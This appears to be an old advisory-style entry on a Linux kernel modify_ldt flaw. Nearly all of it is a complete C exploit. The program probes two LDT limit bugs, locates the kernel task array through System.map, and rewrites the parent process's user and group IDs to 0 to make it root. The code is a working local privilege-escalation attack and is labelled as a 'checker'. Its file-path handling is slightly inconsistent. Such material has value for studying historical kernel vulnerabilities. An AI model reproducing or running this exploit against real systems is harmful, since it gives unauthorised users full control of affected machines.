COMMAND
kernel
SYSTEMS AFFECTED
linux
PROBLEM
---------------------------------------------------------------------------
/* Needs /System.map to be 644 */
#include <linux/ldt.h>
#include <stdio.h>
#include <linux/unistd.h>
#include <signal.h>
/*#include <asm/sigcontext.h>*/
#define __KERNEL__
#include <linux/sched.h>
_syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount)
#define KERNEL_BASE 0xc0000000
/* ------------------------------------------------------------------------ */
static __inline__ unsigned char
__farpeek (int seg, unsigned ofs)
{
unsigned char res;
asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
: "=a" (res)
: "r" (seg), "r" (ofs));
return res;
}
/* ------------------------------------------------------------------------ */
static __inline__ void
__farpoke (int seg, unsigned ofs, unsigned char b)
{
asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
: /* No results. */
: "r" (seg), "r" (ofs), "r" (b));
}
/* ------------------------------------------------------------------------ */
void
memgetseg (void *dst, int seg, const void *src, int size)
{
while (size-- > 0)
*(char *)dst++ = __farpeek (seg, (unsigned)(src++));
}
/* ------------------------------------------------------------------------ */
void
memputseg (int seg, void *dst, const void *src, int size)
{
while (size-- > 0)
__farpoke (seg, (unsigned)(dst++), *(char *)src++);
}
/* ------------------------------------------------------------------------ */
int
main ()
{
int stat, i;
struct modify_ldt_ldt_s ldt_entry;
FILE *syms;
char line[100];
struct task_struct **task, *taskptr, thistask;
pid_t ppid;
printf ("Bogusity checker for modify_ldt system call.\n");
printf ("Testing for page-size limit bug...\n");
ldt_entry.entry_number = 0;
ldt_entry.base_addr = 0xbfffffff;
ldt_entry.limit = 0;
ldt_entry.seg_32bit = 1;
ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA;
ldt_entry.read_exec_only = 0;
ldt_entry.limit_in_pages = 1;
ldt_entry.seg_not_present = 0;
stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
if (stat)
/* Continue after reporting error. */
printf ("This bug has been fixed in your kernel.\n");
else
{
printf ("Shit happens: ");
printf ("0xc0000000 - 0xc0000ffe is accessible.\n");
}
printf ("Testing for expand-down limit bug...\n");
ldt_entry.base_addr = 0x00000000;
ldt_entry.limit = 1;
ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK;
ldt_entry.limit_in_pages = 0;
stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
if (stat)
{
printf ("This bug has been fixed in your kernel.\n");
return 1;
}
else
{
printf ("Shit happens: ");
printf ("0x00000000 - 0xfffffffd is accessible.\n");
}
syms = fopen ("/boot/zSystem.map", "r");
if (!syms)
{
printf ("Couldn't open `/System.map' for reading.\n");
return 1;
}
while (1)
{
line[0] = 0;
fgets (line, sizeof (line) - 1, syms);
if (strlen (line)<10)
{
printf ("Couldn't find the _task array symbol.\n");
fclose (syms);
return 1;
}
if (strcmp (line + 9, "D _task\n") == 0) break;
}
fclose (syms);
task = (struct task_struct **) (KERNEL_BASE + strtol (line, 0, 16));
ppid = getppid ();
for (i = 0; i<NR_TASKS; i++)
{
memgetseg (&taskptr, 7, &task[i], sizeof (taskptr));
if (taskptr)
{
(char *)taskptr += KERNEL_BASE;
memgetseg (&thistask, 7, taskptr, sizeof (thistask));
if (thistask.pid == ppid)
{
thistask.uid = thistask.euid = 0;
thistask.gid = thistask.egid = 0;
memputseg (7, taskptr, &thistask, sizeof (thistask));
printf ("Shit happens: parent process is now root process.\n");
return 0;
}
}
}
printf ("Strange things happens -- no parent process found.\n");
return 1;
};
---------------------------------------------------------------------------